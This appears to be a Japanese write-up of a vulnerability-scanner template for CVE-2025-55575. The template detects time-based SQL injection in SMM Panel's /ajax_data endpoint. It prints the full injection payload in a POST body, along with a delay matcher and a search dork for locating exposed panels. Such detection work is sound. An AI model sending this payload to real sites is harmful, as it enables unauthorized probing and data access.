smm-panel-sqli(CVE-2025-55575)

SMM Panel向け時間ベースのSQLインジェクション検出

---

概要

このテンプレートは、SMM Panelのservice_detailパラメータにおける時間ベースのSQLインジェクション脆弱性を、/ajax_dataへのHTTP POSTリクエストを介して検出します。悪用されると、リモート攻撃者が機密データにアクセスしたり、権限を昇格させたりする可能性があります。

• 作成者: Aether
• 重大度: Critical
• タグ: sqli, mysql, timing, dork:'intitle:"#1 SMM Panel ****"' "smm panel"
• 参照: https://owasp.org/www-community/attacks/SQL_Injection

---

検出ロジック

ツールは細工されたPOSTリクエストを送信します：

POST /ajax_data
Content-Type: application/x-www-form-urlencoded

action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z

応答時間が5秒以上の場合、脆弱なエンドポイントであることを示します。

検出例

- Method: POST
- Path: {{BaseURL}}/ajax_data
- Headers: Content-Type: application/x-www-form-urlencoded
- Body: action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
- Matcher: duration > 5 seconds

---

ビデオデモ

---